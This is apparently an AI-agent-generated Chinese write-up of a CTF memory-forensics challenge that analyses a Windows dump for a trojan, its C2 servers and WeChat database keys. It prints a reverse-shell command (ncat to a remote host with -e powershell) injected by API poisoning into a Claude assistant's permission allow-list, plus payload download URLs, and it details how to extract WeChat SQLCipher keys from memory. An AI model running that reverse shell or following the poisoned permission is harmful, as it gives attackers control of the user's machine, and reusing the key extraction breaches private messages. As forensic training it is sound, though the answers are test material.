2026平航杯内存取证(StarMem)

📅 2026/8/11 4:10:20
2026平航杯内存取证(StarMem)
2026平航杯内存取证StarMem — 全链路取证Writeup报告元数据首席取证官yagami任务目录/mnt/d/文档/hermes-work/2026平航杯内存取证starmem/生成时间2026-08-10生成模式完整型取证交付 Writeup️ 工具链与环境底座1. 算力与架构组件分类部署详情自动化编排Hermes Agent基座大模型Qwen3.6-27B-Q6_K_MTP.gguf运行架构本地内存取证引擎StarMem 0.1.0 (SHA256: 336B9877…)运行环境WSL (Windows Subsystem for Linux)2. 任务信息字段值案件名称2026平航杯倩倩的PC内存镜像取证检材类型Windows crash dump (.dmp)检材大小~4GB检材SHA2562d27ea8eebed49939b0270284fe5d02131b443a32b6bd8db232df30af4fa87bb系统信息Windows 10 Enterprise 22H2 (10.0.19045.6456)主机名DESKTOP-3943OKD用户admin时区China Standard Time (UTC08:00)系统时间2026-04-03T01:47:51Z (本地 09:47:51)启动时间2026-04-03T01:44:21.500Z (开机约3.5分钟)进程数215 (pslist completetrue) 考题最终答案汇总看板题号核心考点权威标准答案状态等级核心证据链检索摘要Q1API投毒恶意命令提取ncat.exe 156.238.239.253 1314 -e powershell 已验证L3Claude settings.local.json注入内存ncat.exe文件路径netscan IP交叉验证Q2微信主进程PID识别10892 已验证L2pslistcmdline确认Weixin.exe -autorun主进程持有数据库解密密钥Q3微信SQLCipher密钥提取b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa 已验证L3内存正则搜索文件头匹配sqlcipher3实际解密成功(21表75条消息)Q4木马进程PID识别7348 已验证L3malfind 5个RWX私有VADpslist运行态netscan C2连接Q5木马创建时间(UTC)2026-04-03 01:46:44 已验证L2pslist create_time直接提取开机后约2.5分钟启动Q6C2服务器真实IP:端口156.238.239.253:7000 已验证L2C2配置列3个IPnetscan仅156.238.239.253有SYN_SENT连接⚔️ 深度取证与解题全链路复盘 Q1 API投毒后执行的恶意命令题目摘要倩倩的电脑曾被API投毒过请找出投毒后执行的恶意命令。答案格式cmd.exe 172.0.0.122 -i hel1o标准答案ncat.exe 156.238.239.253 1314 -e powershell状态等级 已验证 /L3解题主线阶段1 — 下载扫描发现可疑PowerShell下载通过 StarMemdownloadscan插件扫描内存中的下载记录发现3条高度可疑的 PowerShell WebClient 下载http://176.124.206.88:9578/shell.ps1— 外部IP下载PowerShell脚本http://loisnfernandez.us/Gold/aafile.exe— 可疑域名下载exehttp://10.10.38.49:8033/— 内网IP PowerShell访问阶段2 — 命令历史插件无果尝试terminal-history、cmdscan、consoles三个命令历史插件均未返回有效结果。PID 10684 conhost存在但命令历史结构缺失/不驻留说明恶意命令未通过传统终端执行。阶段3 — 磁盘检材发现API投毒证据从E01磁盘挂载/mnt/n读取 Claude AI 配置文件settings.local.json发现permissions.allow字段中包含Bash(ncat.exe 156.238.239.253 1314 -e powershell)投毒方式用户反复请求帮我安装/更新scoopClaude API响应被注入恶意Bash权限。备份文件.claude.json.backup.*中无ncat条目说明settings.local.json是被单独注入的。阶段4 — 内存交叉验证netscan验证PID 7348 Haimuniu_VPN_Client.exe 对156.238.239.253有 SYN_SENT 连接与ncat目标IP一致内存文件验证在内存偏移 197411906 处发现C:\Users\admin\Documents\ncat.exeUTF-16LE编码确认ncat.exe已下载到用户Documents目录 关键证据FINDING-Q1-003: settings.local.json中permissions.allow包含ncat反向shell命令FINDING-Q1-004: netscan确认PID 7348对156.238.239.253有SYN_SENT连接FINDING-Q1-005: 内存中确认ncat.exe文件路径C:\Users\admin\Documents\ncat.exe️ 核心命令# 下载扫描starmem--jsondownloadscan IMAGEwork/starmem/08-downloadscan.json# 命令历史无果starmem--jsonterminal-history IMAGEwork/starmem/05-terminal-history.json starmem--jsoncmdscan IMAGEwork/starmem/06-cmdscan.json starmem--jsonconsoles IMAGEwork/starmem/07-consoles.json# 磁盘检材读取cat/mnt/n/Users/admin/.claude/settings.local.json# 内存ncat.exe验证starmem--jsonscan IMAGE--textncat--limit50 控制台回显downloadscan: 733 records, completetrue SUSPICIOUS: http://176.124.206.88:9578/shell.ps1 (powershell_webclient) SUSPICIOUS: http://loisnfernandez.us/Gold/aafile.exe (powershell_webclient) settings.local.json: permissions.allow 包含 Bash(ncat.exe 156.238.239.253 1314 -e powershell) ncat scan: 50 hits in memory Offset 197411906: C:\Users\admin\Documents\ncat.exe (UTF-16LE) netscan: PID7348, remote156.238.239.253, stateSYN_SENT验证闭环磁盘settings.local.json注入记录 内存ncat.exe文件路径确认 netscan网络交叉验证三重独立证据链锁定答案。 Q2 持有微信数据库解密密钥的微信进程PID题目摘要识别当前正在运行且持有微信数据库解密密钥的微信进程并提取该进程的PID。答案格式1234标准答案10892状态等级 已验证 /L2解题主线从pslist和cmdline两个插件交叉分析微信进程。内存中共有多个 Weixin.exe 进程需区分主进程与子进程PID进程名PPID命令行特征角色10892Weixin.exe6736(explorer)-autorun主进程✅2444Weixin.exe10892--typewxocrOCR子进程16996Weixin.exe10892--typewxplayer播放器子进程10880Weixin.exe10892--typewxpublic公众号子进程3944Weixin.exe10892--typewxutility工具子进程主进程 PID10892启动参数-autorun安装路径C:\Program Files\Tencent\Weixin\Weixin.exe版本4.1.8.67running状态持有微信数据库解密密钥。 关键证据FINDING-Q2-001: pslist确认PID10892为Weixin.exe主进程cmdline确认-autorun启动参数️ 核心命令starmem--jsonpslist IMAGEwork/starmem/03-pslist.json starmem--jsoncmdline IMAGEwork/starmem/04-cmdline.json 控制台回显pslist: 215 processes, completetrue PID10892, nameWeixin.exe, ppid6736, staterunning cmdline: PID10892, cmdlineC:\Program Files\Tencent\Weixin\Weixin.exe -autorun PID2444, cmdline... --typewxocr ... PID16996, cmdline... --typewxplayer ...验证闭环pslist直接提取 cmdline参数确认主进程身份-autorunvs--type子进程标记双源交叉验证。 Q3 message_0.db对应的微信密钥题目摘要尝试解密微信数据库并写出message_0.db对应的微信密钥。答案格式60e248c9079f4bc14e256e0b65495e8688d7b342d43dc84a5f417f4097c9c792标准答案b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa状态等级 已验证 /L3解题主线阶段1 — 初步提取错误路径首次使用scan --text message_0定位到内存偏移 1015110262提取到x...格式的96 hex字符串a41fe5a20e7f492541c23a0f02f8948560930d3866f107dc0da70257f68fd67c713884671963274810f2963b4ceb33d0错误原因直接提取全部96 hex内容未区分key(64hex)和db_header(32hex)。该值实际是另一数据库的密钥文件头拼接。阶段2 — 文件头匹配法正确路径微信SQLCipher密钥在内存中的格式为x[key_64hex][db_header_32hex]读取 message_0.db 前16字节得到文件头hexb59f89cb426e60d5406cd08db4bcb27d在内存中搜索正则x([0-9a-f]{64})([0-9a-f]{32})匹配后32hex与文件头一致的记录取前64hex为密钥阶段3 — 解密验证决定性证据使用提取的密钥通过 sqlcipher3 成功解密 message_0.db21个表、17个消息数据表、75条可读中文消息密钥在内存中出现6次偏移 1010560500, 1308963172, 1397776052, 1794776324, 2565158452, 2687525988上下文标记ilast_uin, xwechat/net/kvc确认属于微信进程 关键证据FINDING-Q3-002: 文件头匹配sqlcipher3实际解密成功21表75条消息ERR-Q3-001: 首次错误提取96 hexkeyheader拼接通过文件头匹配修正️ 核心命令# 定位微信数据库路径starmem--jsonscan IMAGE--textmessage_0--limit100work/starmem/30-scan-message0.json# 内存正则搜索 x[64hex][32hex] 文件头匹配python3PYEOF import re IMAGE /mnt/d/.../memory.dmp DB_HEADER b59f89cb426e60d5406cd08db4bcb27d pattern re.compile(rbx([0-9a-f]{64})([0-9a-f]{32})) # 分块读取匹配... PYEOF# 解密验证sqlcipher3 message_0.dbPRAGMA key x${key_64}${DB_HEADER};.tables 控制台回显message_0.db header: b59f89cb426e60d5406cd08db4bcb27d MATCH at offset 1010560500 Key (64 hex): b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa DB Header: b59f89cb426e60d5406cd08db4bcb27d sqlcipher3 decryption: SUCCESS Tables: 21 (17 message data tables) Readable messages: 75 Chinese text messages⚠️ 修正复盘首次提取96 hex内容keyheader拼接导致错误答案a41fe5a2...33d0。教训WeChat SQLCipher密钥格式为x[key_64hex][db_header_32hex]必须通过文件头匹配定位目标数据库的密钥不能直接提取全部hex内容。验证闭环内存正则搜索 文件头匹配确认 sqlcipher3实际解密成功决定性证据三重独立证据链。 Q4 正在运行的木马进程PID题目摘要找到正在运行的木马进程的进程标识符PID。答案格式1233标准答案7348状态等级 已验证 /L3解题主线阶段1 — 可疑进程筛选从 pslist 中识别可疑进程Haimuniu_VPN_Client.exePID 7348路径C:\Users\admin\Documents\Haimuniu_VPN_Client\Haimuniu_VPN_Client\Haimuniu_VPN_Client.exe用户Documents目录非标准路径PPID6736 (explorer.exe)由资源管理器直接启动状态running阶段2 — malfind内存注入检测对 PID 7348 运行 malfind发现5个可疑RWX私有VAD区域无后备文件VA0x3320000-0x332ffff, EXECUTE_READWRITE, private_memoryTrue VA0x1bb90000-0x1bb9ffff, EXECUTE_READWRITE, private_memoryTrue VA0x1dac0000-0x1daf1fff, EXECUTE_READWRITE, private_memoryTrue VA0x7ff4e0560000-0x7ff4e056ffff, EXECUTE_READWRITE, private_memoryTrue VA0x7ff4e0570000-0x7ff4e060ffff, EXECUTE_READWRITE, private_memoryTrue阶段3 — 网络连接验证netscan确认 PID 7348 对外部IP有 SYN_SENT 连接156.238.239.253C2服务器208.95.112.1可疑外部IP阶段4 — C2配置提取在内存偏移 3542839980 处发现木马C2配置文件UTF-16LE编码包含C2服务器IP列表、端口7000伪装进程名 WmiPrvSE.exe释放文件 USB.exe 至C:\Users\admin\AppData\RoamingBTC/ETH加密钱包地址VM检测字符串VirtualBox/QEMU/VMware 关键证据FINDING-Q4-001: malfind确认5个RWX私有VADnetscan连接C2 IPFINDING-Q4-002: C2配置文件提取IP列表、端口、钱包地址️ 核心命令# malfind检测starmem--jsonmalfind IMAGE--pid7348work/starmem/31-malfind-pid7348.json# 网络验证starmem--jsonnetscan IMAGEwork/starmem/09-netscan.json# C2配置提取starmem--jsonscan IMAGE--hex3100350036002e00...--limit10python3-c with open(IMAGE, rb) as f: f.seek(3542839980 - 200) chunk f.read(2048) text chunk.decode(utf-16-le, errorsreplace) print(text[:500]) 控制台回显malfind: completeTrue, 5 suspicious RWX VADs PID7348, processHaimuniu_VPN_C, protectionEXECUTE_READWRITE, private_memoryTrue netscan: PID7348, remote156.238.239.253, stateSYN_SENT C2 config (UTF-16LE): IPs: 156.238.239.253, 66.175.239.149, 185.117.249.43 Port: 7000 Disguise: WmiPrvSE.exe Drop: USB.exe - C:\Users\admin\AppData\Roaming验证闭环malfind 5个RWX私有VAD pslist运行态确认 netscan C2连接 C2配置提取四重证据链。 Q5 木马进程创建时间(UTC)题目摘要找到正在运行的木马进程的创建时间UTC。答案格式2026-01-01 01:11:11标准答案2026-04-03 01:46:44状态等级 已验证 /L2解题主线直接从 pslist 已有数据中提取 PID 7348 的create_time字段create_time 2026-04-03T01:46:44.166Z (ISO格式) create_time_raw 134196544041667081 (Windows FILE_TIME)格式化为题目要求的YYYY-MM-DD HH:MM:SSfromdatetimeimportdatetime raw2026-04-03T01:46:44.166Zdtdatetime.fromisoformat(raw.replace(Z,00:00))answerdt.strftime(%Y-%m-%d %H:%M:%S)# 2026-04-03 01:46:44时间线合理性验证系统启动时间2026-04-03T01:44:21.500Z木马在开机后约2.5分钟启动符合攻击者远程部署的时间线。 关键证据FINDING-Q5-001: pslist create_time直接提取FILE_TIME原始值交叉验证️ 核心命令# 从已有pslist数据提取无需重新运行python3-c import json with open(work/starmem/03-pslist.json) as f: procs json.load(f)[processes] for p in procs: if p.get(pid) 7348: print(fcreate_time{p[\create_time\]}) 控制台回显PID7348, nameHaimuniu_VPN_Client.exe create_time2026-04-03T01:46:44.166Z Formatted: 2026-04-03 01:46:44 System boot: 2026-04-03T01:44:21.500Z (木马在开机后~2.5分钟启动)验证闭环pslist create_time直接提取 系统启动时间交叉验证开机后2.5分钟符合攻击时间线。 Q6 C2木马服务器的真实IP题目摘要结合木马分析找出内存中回连的C2木马服务器的真实IP。答案格式127.0.0.1:8080标准答案156.238.239.253:7000状态等级 已验证 /L2解题主线阶段1 — C2配置提取从内存偏移 3542839980 处的C2配置文件UTF-16LE编码中提取IP列表156.238.239.253, 66.175.239.149, 185.117.249.43端口7000阶段2 — netscan实际连接验证对3个C2 IP逐一在 netscan 中搜索网络连接记录C2 IPnetscan连接数状态156.238.239.2531 (SYN_SENT)✅ 活跃66.175.239.1490❌ 备用未激活185.117.249.430❌ 备用未激活仅156.238.239.253有实际网络连接PID7348, SYN_SENT确认为真实活跃的C2服务器。阶段3 — 端口确定netscan因缺少tcpip.sys符号导致remote_port显示为null端口从C2配置文件直接提取为7000。 关键证据FINDING-Q6-001: C2配置3个IP netscan仅156.238.239.253有SYN_SENT连接️ 核心命令# netscan验证python3-c import json with open(work/starmem/09-netscan.json) as f: conns json.load(f)[records] c2_ips [156.238.239.253, 66.175.239.149, 185.117.249.43] for ip in c2_ips: matches [c for c in conns if ip in str(c.get(remote_address,))] print(f{ip}: {len(matches)} connections) # C2配置端口提取python3-c with open(work/starmem/32-c2-config-raw.bin, rb) as f: raw f.read() text raw.decode(utf-16-le, errorsignore) print(text[:500]) # 包含端口7000 控制台回显156.238.239.253: 1 connections (PID7348, SYN_SENT) 66.175.239.149: 0 connections 185.117.249.43: 0 connections C2 config: port7000, IPs156.238.239.253,66.175.239.149,185.117.249.43验证闭环C2配置文件提取3个IP端口 netscan实际网络连接验证仅1个IP活跃双源交叉验证。 未完成或不可提交题目审计全部6题已完成验证无未作答题目。题号状态备注Q1-Q6 已验证全量收敛答案可提交 附录自动化取证证据大索引1. 物理证据链索引映射表 (Findings Matrix)编号题号内容摘要FINDING-BASELINE-001环境Windows 10 Enterprise 22H2, DESKTOP-3943OKD, admin用户FINDING-BASELINE-002环境215进程, Weixin.exe多PID, Haimuniu_VPN_Client.exe(PID 7348)FINDING-Q1-001Q1downloadscan发现3条可疑PowerShell下载URLFINDING-Q1-002Q1terminal-history/cmdscan/consoles无有效命令历史FINDING-Q1-003Q1settings.local.json中permissions.allow包含ncat反向shell命令FINDING-Q1-004Q1netscan确认PID 7348对156.238.239.253有SYN_SENT连接FINDING-Q1-005Q1内存偏移197411906确认ncat.exe文件路径FINDING-Q2-001Q2Weixin.exe PID10892主进程-autorun启动FINDING-Q3-001Q3错误答案记录96 hex keyheader拼接FINDING-Q3-002Q3message_0.db密钥提取文件头匹配sqlcipher3解密成功FINDING-Q4-001Q4malfind确认5个RWX私有VADnetscan连接C2 IPFINDING-Q4-002Q4C2配置文件提取IP列表、端口7000、钱包地址FINDING-Q5-001Q5pslist create_time2026-04-03T01:46:44.166ZFINDING-Q6-001Q6C2配置3IPnetscan仅156.238.239.253有连接2. 物理执行指令索引快照表 (Commands Log)编号插件/操作关键结果CMD-20260810-001starmem --bridge-checkbridgeok, starmem 0.1.0CMD-20260810-002sha256sum镜像SHA256确认CMD-20260810-003starmem infowindows_crash_dump64, 4GBCMD-20260810-005starmem system-infoWindows 10 Enterprise 22H2CMD-20260810-006starmem pslist215 processes, completetrueCMD-20260810-007starmem cmdline215 records, completetrueCMD-20260810-008~010terminal-history/cmdscan/consoles无有效命令历史CMD-20260810-011starmem downloadscan733 records, 发现可疑下载URLCMD-20260810-012cat settings.local.json发现ncat反向shell命令CMD-20260810-014netscan交叉验证PID 7348连接156.238.239.253CMD-20260810-016pslistcmdline分析Weixin.exe PID10892主进程CMD-20260810-023内存正则搜索文件头匹配更正Q3密钥答案CMD-20260810-025malfind --pid 73485个RWX私有VADCMD-20260810-026~027C2配置内存提取IP列表、端口7000、钱包地址CMD-20260810-029pslist create_time提取2026-04-03 01:46:44CMD-20260810-030netscanC2配置分析真实C2156.238.239.253:7000错误记录 (ERROR)编号题号错误内容ERR-Q3-001Q3直接提取96 hexkeyheader拼接未通过文件头匹配验证。教训必须用x([0-9a-f]{64})([0-9a-f]{32})精确分组并通过文件头匹配确认目标数据库验证批次批次ID范围结果BATCH-20260810-194500Q1-Q66/6题已验证通过全部升级为已验证状态- 全链路取证闭环完成 -